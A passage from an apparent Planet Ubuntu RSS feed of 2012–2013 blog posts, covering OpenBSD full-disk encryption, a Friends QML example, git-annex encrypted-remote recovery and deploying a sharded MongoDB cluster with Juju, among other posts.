Perhaps, I've truly lost my mind for once, but I've decided to embark on a personal project to try and achieve some fluency in Spanish in just 90 days, and posting it to the internet to try and keep me honest and on track towards doing so. I will post future updates as I go, and would welcome help from anyone who would be interested in helping!<br />
<br />
The cost of failure: being forced to praise Wndows 8 in a future video, and run it for one week on my laptop.<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/ZIeWiJw_UGQ" width="560"></iframe>
<br />
<br />(I apologize for the quality, but I finally managed to find the nerve to record myself doing this, and just uploaded before I lost it again)
<br /></div>
<br />
<br />
</div>]]></description>
      <source url="http://ncommander.blogspot.com/feeds/posts/default">Michael Casadevall</source>
    </item>
    <item>
      <title>Left Canonical</title>
      <link>https://dmtechtalk.wordpress.com/2013/06/11/left-canonical/</link>
      <guid isPermaLink="true">https://dmtechtalk.wordpress.com/2013/06/11/left-canonical/</guid>
      <pubDate>Tue, 11 Jun 2013 15:59:51 GMT</pubDate>
      <description><![CDATA[<p>After almost 6 years the time has come to move on. I&#8217;m no longer with Canonical. New things on the horizon. I still plan on participating in Linux especially ARM Linux and also still being a part of Ubuntu Linux Community too.</p>
<p>It&#8217;s been an interesting journey with Canonical, managing engineers around the world, up at weird hours of the day, starting a new flavour of Ubuntu (ARM), fighting daylight savings time twice a year, and finally supporting sales folks.  Always interesting, but I&#8217;m looking forward to the next new thing.  I will however miss the people, for the last 6 years I worked with some really smart people and I learned a lot from them.</p>]]></description>
      <source url="https://dmtechtalk.wordpress.com/category/ubuntu-2/feed/atom/">David Mandala</source>
    </item>
    <item>
      <title>Fixing build failures for 13.04</title>
      <link>http://drowninginbugs.blogspot.com/2013/04/fixing-build-failures-for-1304.html</link>
      <guid isPermaLink="true">http://drowninginbugs.blogspot.com/2013/04/fixing-build-failures-for-1304.html</guid>
      <pubDate>Mon, 08 Apr 2013 19:02:00 GMT</pubDate>
      <description><![CDATA[<div dir="ltr" style="text-align: left;" trbidi="on">
One of the pleasures (and privileges) of Free Software is transparency in consistency, here meaning it's fairly painless to <a href="http://people.ubuntuwire.org/~wgrant/rebuild-ftbfs-test/test-rebuild-20130329-raring.html" rel="nofollow" target="_blank">see where stuff fails to build in Ubuntu</a>&nbsp;and to be able to&nbsp;<a href="https://lists.ubuntu.com/archives/ubuntu-devel/2013-March/036992.html" target="_blank">help in fixing those failures</a>.<br />
<br />
Let's get 13.04 into shape!</div>]]></description>
      <source url="http://drowninginbugs.blogspot.com/feeds/posts/default/-/ubuntu">Daniel T Chen</source>
    </item>
    <item>
      <title>Setting up full-disk encryption in OpenBSD 5.3</title>
      <link>/blog/2013-03-26-setting-up-full-disk-encryption-in-openbsd-5.3/</link>
      <guid isPermaLink="true">/blog/2013-03-26-setting-up-full-disk-encryption-in-openbsd-5.3/</guid>
      <pubDate>Tue, 26 Mar 2013 13:40:54 GMT</pubDate>
      <description><![CDATA[<p>I recently decided to try out a snapshot of <a href="http://openbsd.org/53.html">OpenBSD 5.3</a>,
intrigued by the notice that</p>
<blockquote>
<p>softraid(4) RAID1 and crypto volumes are now bootable on i386 and
amd64 (full disk encryption).</p>
</blockquote>
<p>I&rsquo;ve always used an encrypted LVM (as setup by the alternate CD) with
a fully encrypted root on my netbook and laptop when running
Debian/Kubuntu and never noticed much a performance
hit. Unfortunately, I&rsquo;m <a href="http://comments.gmane.org/gmane.os.openbsd.misc/203166">not the only one</a> who has noticed a
significant drop in performance with full-disk encryption on OpenBSD.</p>
<p>Although the steps required to setup full-disk encryption (as opposed
to requiring <a href="http://geekyschmidt.com/2011/01/19/configuring-openbsd-softraid-fo-encryption">manual intervention at boot</a> or the equivalent
of <a href="http://geekyschmidt.com/2011/01/24/configuring-openbsd-svnd-for-encrypted-volumes">loop-mounted</a> <a href="http://www.geektechnique.org/projectlab/84/">encrypted images</a> via
<a href="http://www.openbsd.org/cgi-bin/man.cgi?query=vnconfig&apropos=0&sektion=8"><code>vnconfig(8)</code></a>) on OpenBSD are not explicitly documented
anywhere, searching through the mailing lists, man pages, and trial
and error provided the following steps:</p>
<ol>
<li>Boot from your install media. Select the <code>(S)hell</code> option.</li>
<li>Assuming the disk you&rsquo;re installing to is &ldquo;<code>wd0</code>&rdquo;, run <code>fdisk -i wd0</code> if you&rsquo;re on an i386. If I&rsquo;m not mistaken, you can skip to
the following step otherwise.</li>
<li>Run <code>disklabel -E wd0</code>. Create a label (typically <code>b</code>) of the
appropriate size of type <code>swap</code> for swap, and then add a label <code>a</code>
using the remainder of the space of type <code>RAID</code>. We aren&rsquo;t going
to put <code>swap</code> on our crypto device since OpenBSD has encrypted the
swap partition by default <a href="http://www.openbsd.org/plus38.html">since 2005</a>.</li>
<li>Setup the crypto volume as described in <a href="http://www.openbsd.org/cgi-bin/man.cgi?query=bioctl&apropos=0&sektion=8&manpath=OpenBSD+5.3&arch=i386&format=html"><code>bioctl(8)</code></a>. You
will be prompted for a passphrase and presented with a message
along the lines of <code>softraid0: SR CRYPTO volume attached as sd0</code>
on successful setup. I used <code>bioctl -c C -l /dev/wd0a softraid0</code>
where
<ul>
<li><code>-c C</code> specifies a device with raidlevel &ldquo;CRYPTO&rdquo;,</li>
<li><code>-l /dev/wd0a</code> specifies the label of type RAID created in
step 3 to use for the CRYPTO device, and</li>
<li><code>softraid0</code> is the softraid device to configure (this value
should work unless you already have a <code>softraid0</code> device).</li>
</ul>
</li>
<li><code>exit</code> from the shell and <code>(I)nstall</code> as normal, installing to the
disk <code>sd0</code> (or whichever disk the crypto volume got attached
as). In the partitioning dialog, you may need to manually adjust
things since the auto-partitioning creates an additional swap
label on <code>sd0</code>, which we don&rsquo;t need given we already have <code>wd0b</code>.</li>
<li>Using <a href="http://www.openbsd.org/cgi-bin/man.cgi?query=ed&apropos=0&sektion=1"><code>ed(1)</code></a>, add the line <code>1a8bab44e9cc178d.b none swap sw</code> to <code>/mnt/etc/fstab</code>, assuming that <code>1a8bab44e9cc178d</code> is the
DUID associated with <code>wd0</code>.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Alternatively,
wait until you boot into your system, and add it to your
<code>/etc/fstab</code> using <a href="http://www.openbsd.org/cgi-bin/man.cgi?query=vi&apropos=0&sektion=1"><code>vi(1)</code></a> or <a href="http://www.openbsd.org/cgi-bin/man.cgi?query=mg&apropos=0&sektion=1"><code>mg(1)</code></a>.</li>
<li>Reboot, and you&rsquo;ll be prompted for your passhprase. You&rsquo;re done!</li>
</ol>
<p>Here&rsquo;s a screenshot of steps 1 through 4.</p>
<p><img alt="Steps 1 through 4" src="/blog/2013-03-26-setting-up-full-disk-encryption-in-openbsd-5.3/2013-03-26-113954_720x400_scrot.png"></p>
<p>Here&rsquo;s a screenshot of the passphrase prompt, after successfully
entering the passphrase:</p>
<p><img alt="Passphrase prompt" src="/blog/2013-03-26-setting-up-full-disk-encryption-in-openbsd-5.3/2013-03-26-125344_720x400_scrot.png"></p>
<p>If I&rsquo;ve made any errors in the steps above, please point them out in
the comments below or by sending me an email.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>You can find this out by running <code>sysctl hw.disknames</code>.
It will output something like <code>hw.disknames=wd0:1a8bab44e9cc178d,cd0:,[...]</code>.
Just search for the DUID associated with <code>wd0</code>.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></description>
      <source url="http://blog.ryanak.ca/feeds/planet-ubuntu.xml">Ryan Kavanagh</source>
    </item>
    <item>
      <title>Bash script self-updates from github</title>
      <link>http://foss-boss.blogspot.com/2013/03/bash-script-self-updates-from-github.html</link>
      <guid isPermaLink="true">http://foss-boss.blogspot.com/2013/03/bash-script-self-updates-from-github.html</guid>
      <pubDate>Mon, 11 Mar 2013 22:07:00 GMT</pubDate>
      <description><![CDATA[<div dir="ltr" style="text-align: left;" trbidi="on">
Recently the systems engineering team&nbsp;@&nbsp;<a href="http://www.cloud9ers.com/" target="_blank">Cloud9ers</a>&nbsp;($dayjob) has been busy building the infrastructure for a very ambitious and large scale project for one of our customers. The project involves tons of distributed programming besides lots of systems work as well. I'd like to share with the community a small tidbit of information. It's often some small things the one sometimes gives a moment to admire, and hereby share!<br />
<h4 style="text-align: left;">
The problem</h4>
<div>
<ul style="text-align: left;">
<li>We are building a private cloud. Ubuntu server instances running on that are cloned from a master template</li>
<li>While most clouds provide what I call "Instance Identity" information through some pre-known web service URI, in our case we utilize VMware's "<a href="https://www.vmware.com/support/developer/PowerCLI/PowerCLI501/html/Invoke-VMScript.html" target="_blank">Invoke-VMScript</a>" API to run scripts inside the cloned template, thus customizing it and giving it its identity, then <a href="https://puppetlabs.com/" target="_blank">puppet</a> takes it from there. Note that we're using a simple vCenter+ESXi (no vCloud stuff here) no shared storage even!</li>
</ul>
<h4 style="text-align: left;">
Ok the real problem</h4>
</div>
<div>
<ul style="text-align: left;">
<li>Editing the template, and publishing it across the cloud (a topic for another post) takes considerable time! I wanted a way to be able to quickly update my identity scripts without having to re-build and re-publish images</li>
</ul>
<h4 style="text-align: left;">
Solution</h4>
</div>
<div>
<ul style="text-align: left;">
<li>A script with a trivially simple (thus mostly fixed) "bootstrap" section, which auto-updates itself from github and relaunches its-new-self!</li>
</ul>
<h4 style="text-align: left;">
Code</h4>
</div>
<div>
Nothing ground breaking, but still a cool trick eh! Yeah I could have added a broken this into multiple scripts and maybe run-parts them. Of-course this script is quite basic, but it's meant to remain that way since the heavy lifting is puppet's responsibility!<br />
Note: To run this successfully the user this is run under, should have passwordless sudo rights to run "ip" and to run "itself" :) Got cool ideas, thoughts or comments? Leave me a message<br />
<br /></div>

</div>]]></description>
      <source url="http://foss-boss.blogspot.com/feeds/posts/default/-/ubuntu-planet">Ahmed Kamal</source>
    </item>
    <item>
      <title>I think I have a solution to the rolling and releasing</title>
      <link>http://davmor2.blogspot.com/2013/03/i-think-i-have-solution-to-rolling-and.html</link>
      <guid isPermaLink="true">http://davmor2.blogspot.com/2013/03/i-think-i-have-solution-to-rolling-and.html</guid>
      <pubDate>Thu, 07 Mar 2013 23:22:00 GMT</pubDate>
      <description><![CDATA[Post LTS. &nbsp;You start a rolling release. This gets all the goodness in that you want. &nbsp;6 months in you take a fortnight out. Week one stabilize, week two ISO testing. &nbsp;The resulting ISO is then supported with security back ports for the next 6 months till the next ISO is stabilized and so on till you get to the 6 months for the next lts. &nbsp;Here you go back to the more tried and tested release method so this release is solid, stable and ready for the next 5 years.<br />
<br />
This I think gives users a regular cadence they are used to. Gives people like system 76 a regular OEM install it has security back ports from the continuing rolling release. &nbsp;It gives app devs a set of libs for 6 months that won't change. &nbsp;And means there is only a fortnight slow down for the devs.<br />
<br />
Plus the community driven derivatives can continue to use their current 6 monthly cadence. Everyone is happy :-)]]></description>
      <source url="http://davmor2.blogspot.com/rss.xml">Dave Morley</source>
    </item>
    <item>
      <title>Introducing Friends!</title>
      <link>https://blogs.gnome.org/kenvandine/2013/03/07/introducing-friends/</link>
      <guid isPermaLink="true">https://blogs.gnome.org/kenvandine/2013/03/07/introducing-friends/</guid>
      <pubDate>Thu, 07 Mar 2013 21:46:33 GMT</pubDate>
      <description><![CDATA[<p>The Friends Service provides an API for interacting with your social<br />
networks. The friends service uses microblogging accounts configured in<br />
Ubuntu Online Accounts.</p>
<p>Currently there are friends plugins for facebook, twitter, flickr,<br />
foursquare and identica.</p>
<p>Sound familiar? Friends is actually a rewrite of the Gwibber service. It<br />
began as an attempt to port gwibber-service to python3 and add testing, but<br />
it quickly became obvious that it would be easier to start over. Credit for<br />
the rewrite goes to Barry Warsaw and Robert Park, they rocked friends!</p>
<p>Impressively, Barry got the rewrite started by writing the test suite and using test<br />
driven development, what a hero! Friends now has an extensive test suite and truly <br />
beautiful code.</p>
<p>The service provides a Dee.SharedModel that contains the aggregated feed<br />
from all of your enabled accounts. Any application can connect to this<br />
model and provide a user interface to display the feed. You can create<br />
filtered models off that shared model to sort or limit the results to specific<br />
accounts, types, etc. Your application never actually talks directly to the<br />
web API provided by the social network, it would just interact with Friends.</p>
<p>This Dee model is currently used in the Friends lens, People lens and Gwibber.</p>
<p>The Friends service also provides APIs for sharing images, posting status<br />
updates, replies, liking posts, retweet, contact sync, etc.</p>
<p>GObject APIs are provided by libfriends, including vala and GIR bindings (plus some GTK widgets).  There is also a QML plugin, qml-friends.</p>
<p>All the packages are available in universe for raring, and for quantal in the super-friends <a href="https://launchpad.net/~super-friends/+archive/ppa" class="external">PPA</a>.</p>
<p>Here&#8217;s an example using Friends from QML posting a status update:</p>
<pre>
<code>
import QtQuick 2.0
import Ubuntu.Components 0.1
import Friends 0.1

MainView {
    applicationName: "poster"

    width: units.gu(50)
    height: units.gu(20)

    FriendsDispatcher {
        id: friends
        // use this to check if the send was successfull
        onSendComplete: {
             if (success) {
                 activitySpinner.visible = false;
                 entry.text = "";
                 console.log ("Send completed successfully");
             } else {
                 activitySpinner.visible = false;
                 console.log ("Send failed: " + errorMessage);
             }
         }
    }

    Column {
        anchors.centerIn: parent
        width: units.gu(40)
        spacing: units.gu(2)

        TextArea {
            id: entry
            objectName: "entry"
            anchors {
                left: parent.left
                leftMargin: units.gu(1)
                right: sendButton.left
                rightMargin: units.gu(1)
                bottomMargin: units.gu(1.5)
            }
            focus: true
            font.pixelSize: FontUtils.sizeToPixels("medium")
            font.family: "Ubuntu"
            // send message if return was pressed
            Keys.onReturnPressed: sendButton.clicked(null)
            Keys.onEscapePressed: text = ""
            height: units.gu(4)
            placeholderText: i18n.tr("Compose")
            autoSize: true
            maximumLineCount: 0
            ActivityIndicator {
                id: activitySpinner
                objectName: "activitySpinner"
                anchors.centerIn: entry
                visible: false
                running: visible
            }
        }
        Button {
            id: sendButton
            objectName: "sendButton"
            anchors {
                right: parent.right
                rightMargin: units.gu(1)
                left: entry.right
                bottom: entry.bottom
            }
            width: units.gu(9)
            height: units.gu(4)
            color: "#dd4814"
            text: i18n.tr("Send")
            onClicked: {
                console.log ("Post: " + entry.text);
                activitySpinner.visible = true
                friends.sendAsync(entry.text);
            }
        }
    }
}
</code>
</pre>]]></description>
      <source url="http://blogs.gnome.org/kenvandine/category/ubuntu/feed/">Ken VanDine</source>
    </item>
    <item>
      <title>git-annex: encrypted remotes</title>
      <link>https://debblog.philkern.de/2013/03/git-annex-encrypted-remotes.html</link>
      <guid isPermaLink="true">https://debblog.philkern.de/2013/03/git-annex-encrypted-remotes.html</guid>
      <pubDate>Sun, 03 Mar 2013 22:44:00 GMT</pubDate>
      <description><![CDATA[Due to the <a href="http://debblog.philkern.de/2013/03/psa-lvm-pvmove-and-ssds.html">data loss I blogged about</a>, I had to reverse engineer the encryption used by <a href="http://git-annex.branchable.com/">git-annex</a> for its <a href="http://git-annex.branchable.com/encryption/">encrypted</a> <a href="http://git-annex.branchable.com/special_remotes/">special remotes</a>. The file system on which the content lived has a bullet hole of 8 GB in it, which was helpfully discarded by pvmove. It's pretty unhappy about that fact, parts of the git repository are unusable and directories cannot be accessed anymore. git-annex cannot possibly run anymore.<br />
<br />
However, I was still able to access the git-annex branch within said git repository (using porcelain). This branch contains a file called <span style="font-family: Courier New, Courier, monospace;">remote.log</span> which contains the keys of the special remotes. There's one per remote, encrypted to a GPG key of your choice and all files within that remote are encrypted with the same symmetric key.<br />
<br />
One small detail stopped me from getting the decryption right the first time, though. It seems that git-annex uses randomness generated by GPG and armored into base64. In my naïveté I spotted the base64 and decoded it. Instead it's used verbatim: the first 256 bytes as HMAC key (which reduces randomness to 192 bytes) and the remaining bytes for the symmetric key used by GPG (which will do another key derivation for <a href="http://en.wikipedia.org/wiki/CAST-128">CAST5</a> with it). A <a href="http://git-annex.branchable.com/bugs/encryption_key_is_surprising/">bug about that</a> just hit the git-annex wiki.<br />
<br />
With that knowledge in mind I wrote <a href="https://gist.github.com/pkern/5078559">a little tool</a> that's able to generate encrypted content keys from the plain ones used in the symlinks. That helps you to locate the file in the encrypted remote. Fetch it and then use the tool to decrypt the file in question with the right key.<br />
<br />
The lesson: Really backup the git repository used with git-annex and especially remote.log. I'm now missing most of the metadata but for some more important files it's luckily still present. Recovery of the file content does not depend on it if you can deduce the filename from the content. If you have many little files it might be a bit futile without it, though.]]></description>
      <source url="http://www.blogger.com/feeds/5048890463514304208/posts/default/-/planet-ubuntu?alt=rss">Philipp Kern</source>
    </item>
    <item>
      <title>Let's shard something</title>
      <link>http://blog.xtremeghost.com/2012/11/lets-shard-something.html</link>
      <guid isPermaLink="true">http://blog.xtremeghost.com/2012/11/lets-shard-something.html</guid>
      <pubDate>Fri, 30 Nov 2012 07:59:00 GMT</pubDate>
      <description><![CDATA[It's been a while so, let's get right to it...<br />
<br />
Today I'll be talking about sharded clusters in MongoDB using Ubuntu Precise and Juju.<br />
<br />
According the the mongodb documentation found on their <a href="http://docs.mongodb.org/manual/tutorial/deploy-shard-cluster/">website</a>,&nbsp;one way of deploying a Shard Cluster is as follows:<br />
<ul>
<li>deploy config servers</li>
<li>deploy a mongo shell (mongos)</li>
<li>deploy shards</li>
<li>connect the config servers to the mongo shell</li>
<li>add the shards to the mongo shell</li>
</ul>
This is a pretty involved process that normally takes several hours to accomplish. &nbsp;In this post, I will show you a way of deploying a sharded cluster in minutes using&nbsp;<a href="http://www.ubuntu.com/">Ubuntu</a>,&nbsp;<a href="https://juju.ubuntu.com/">Juju</a>&nbsp;and the MongoDB <a href="http://jujucharms.com/charms/precise/mongodb">charm</a>.<br />
<br />
For the impatient, here is a video of the entire deployment:<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: left;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/vF757Osom4o?feature=player_embedded' frameborder='0'></iframe></div>
<br />
<br />
For the not so impatient, here is a more detailed explanation of the deployment.<br />
<br />
A few things to keep in mind when configuring this sharded cluster configuration:<br />
<ul>
<li>Each shard will be a replica set with three nodes each. &nbsp;As such, each shard must have a different replica-set name so it can be successfully registered as part of the cluster.</li>
<li>We will deploy three configuration servers</li>
</ul>
<b>Bootstrap the environment</b><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju bootstrap</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
<div class="separator" style="clear: both;">
<object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://i.ytimg.com/vi/dhtxTG_PhRw/0.jpg" height="266" width="320"><param name="movie" value="http://www.youtube.com/v/dhtxTG_PhRw?version=3&f=user_uploads&c=google-webdrive-0&app=youtube_gdata" /><param name="bgcolor" value="#FFFFFF" /><param name="allowFullScreen" value="true" /><embed width="320" height="266"  src="http://www.youtube.com/v/dhtxTG_PhRw?version=3&f=user_uploads&c=google-webdrive-0&app=youtube_gdata" type="application/x-shockwave-flash" allowfullscreen="true"></embed></object></div>
<br />
<b>Mongo Shell</b><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju deploy mongodb mongos</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: left;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/xeMJtEnZ9t4?feature=player_embedded' frameborder='0'></iframe></div>
<br />
As described in the MongoDB <a href="http://jujucharms.com/charms/precise/mongodb">charm</a>,&nbsp;there are many options that can be configured to suit your needs. &nbsp;For this deployment, most of the configuration options will work with the exception of the replicaset which will need to be different for each shard.<br />
<div>
<br /></div>
<div>
Fortunately, a simple <a href="http://en.wikipedia.org/wiki/YAML">yaml</a> file with our configuration overrides is all that's needed.</div>
<div>
<br /></div>
<div>
Prepare a configuration file similar to the following:</div>
<div>
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">shard1:</span></div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; replicaset: shard1</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">shard2:</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; replicaset: shard2</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">shard3:</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; replicaset: shard3</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">configsvr:</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; replicaset: configsvr</span><br />
<br />
We'll save this one as ~/mongodb-shard.yaml<br />
<br />
<div class="separator" style="clear: both; text-align: left;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/H0fHPJ9u7X4?feature=player_embedded' frameborder='0'></iframe></div>
<br />
<br />
<b>Config Servers</b> ( we'll deploy 3 of them )<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju deploy mongodb configsvr --config ~/mongodb-shard.yaml -n3</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: left;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/uId39aYWZl0?feature=player_embedded' frameborder='0'></iframe></div>
<br />
<br />
<b>Shards</b> ( We'll deploy three replica-sets )<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju deploy mongodb shard1 --config ~/mongodb-shard.yaml -n3</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju deploy mongodb shard2 --config ~/mongodb-shard.yaml -n3</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju deploy mongodb shard3 --config ~/mongodb-shard.yaml -n3</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: left;">
<object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://i.ytimg.com/vi/LmCNe7D9_sE/0.jpg" height="266" width="320"><param name="movie" value="http://www.youtube.com/v/LmCNe7D9_sE?version=3&f=user_uploads&c=google-webdrive-0&app=youtube_gdata" /><param name="bgcolor" value="#FFFFFF" /><param name="allowFullScreen" value="true" /><embed width="320" height="266"  src="http://www.youtube.com/v/LmCNe7D9_sE?version=3&f=user_uploads&c=google-webdrive-0&app=youtube_gdata" type="application/x-shockwave-flash" allowfullscreen="true"></embed></object></div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<b>Connect the Config Servers to the Mongo shell</b> (mongos)<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju add-relation mongos:mongos-cfg configsvr:configsvr</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: left;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/1mOeMOKctqE?feature=player_embedded' frameborder='0'></iframe></div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
<b>Connect each Shard to the Mongo shell</b> (mongos)<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju add-relation mongos:mongos shard1:database</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju add-relation mongos:mongos shard2:database</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju add-relation mongos:mongos shard3:database</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: left;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/YCcUIDYGRVw?feature=player_embedded' frameborder='0'></iframe></div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
With the above commands, we should now have a three replica-set sharded cluster running.<br />
Using the default configuration, here are some details of our sharded cluster:<br />
<ul>
<li>mongos is running on port 27021</li>
<li>configsvr is running on port 27019</li>
<li>the shards are running on the default mongodb port of 27017</li>
<li>The web admin is turned on by default and accessible with your browser on port 28017 on each of the shards after exposing the service.</li>
</ul>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/bbiMuxBM1N4?feature=player_embedded' frameborder='0'></iframe><br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
After a few minutes, your sharded cluster should be ready. &nbsp;Let's verify that everything went as planned:</div>
<ul>
<li>Verify your config servers</li>
<ul>
<li>juju expose configsvr</li>
<li>juju status configsvr</li>
<li>Open your browser to http://&lt;public-address-of-configsvr:28017</li>
</ul>
<li>Verify that each shard</li>
<ul>
<li><span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju expose &lt;shard1|shard2|shard3&gt;</span></li>
<li><span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju status&nbsp;&lt;shard1|shard2|shard3&gt;</span></li>
<li>Open your browser to http://&lt;public-address-of-shard&gt;:28017</li>
</ul>
<li>Verify that each shard has been successfully register with the cluster:</li>
<ul>
<li><span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju expose mongos</span></li>
<li><span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju status mongos</span></li>
<li><span style="font-family: Courier New, Courier, monospace; font-size: x-small;">mongo --host &lt;public-address-of-mongos&gt;:27021</span></li>
<li>Once connected:</li>
<ul>
<li><span style="font-family: Courier New, Courier, monospace; font-size: x-small;">sh.status()</span></li>
<li>Results should be similar to the following:</li>
</ul>
</ul>
</ul>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">MongoDB shell version: 2.0.6</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">connecting to: ec2-184-169-254-0.us-west-1.compute.amazonaws.com:27021/test</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">mongos&gt; sh.status()</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">--- Sharding Status ---&nbsp;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; sharding version: { "_id" : 1, "version" : 3 }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; shards:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; { &nbsp;"_id" : "shard1", &nbsp;"host" : "shard1/ec2-184-169-236-25.us-west-1.compute.amazonaws.com:27017,ec2-54-241-89-206.us-west-1.compute.amazonaws.com:27017,ip-10-170-173-51:27017" }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; { &nbsp;"_id" : "shard2", &nbsp;"host" : "shard2/ec2-204-236-159-194.us-west-1.compute.amazonaws.com:27017,ip-10-170-22-104:27017" }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; { &nbsp;"_id" : "shard3", &nbsp;"host" : "shard3/ec2-184-169-219-11.us-west-1.compute.amazonaws.com:27017,ec2-184-169-239-214.us-west-1.compute.amazonaws.com:27017,ip-10-170-215-20:27017" }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; databases:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; &nbsp; { &nbsp;"_id" : "admin", &nbsp;"partitioned" : false, &nbsp;"primary" : "config" }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">mongos&gt;&nbsp;</span></div>
<ul><ul><ul>
<li>In the above status, you should see the hosts associated with each of your shards.</li>
</ul>
</ul>
</ul>
<div>
<div class="separator" style="clear: both; text-align: left;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/orecGq9VHLQ?feature=player_embedded' frameborder='0'></iframe></div>
<br />
You now have a MongoDB sharded cluster accessible via the public-address of the mongos instance... enjoy ... and don't forget to destroy the environment when you're done with it:<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">juju destroy-environment</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: left;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/90yJgcMQ2Y8?feature=player_embedded' frameborder='0'></iframe></div>
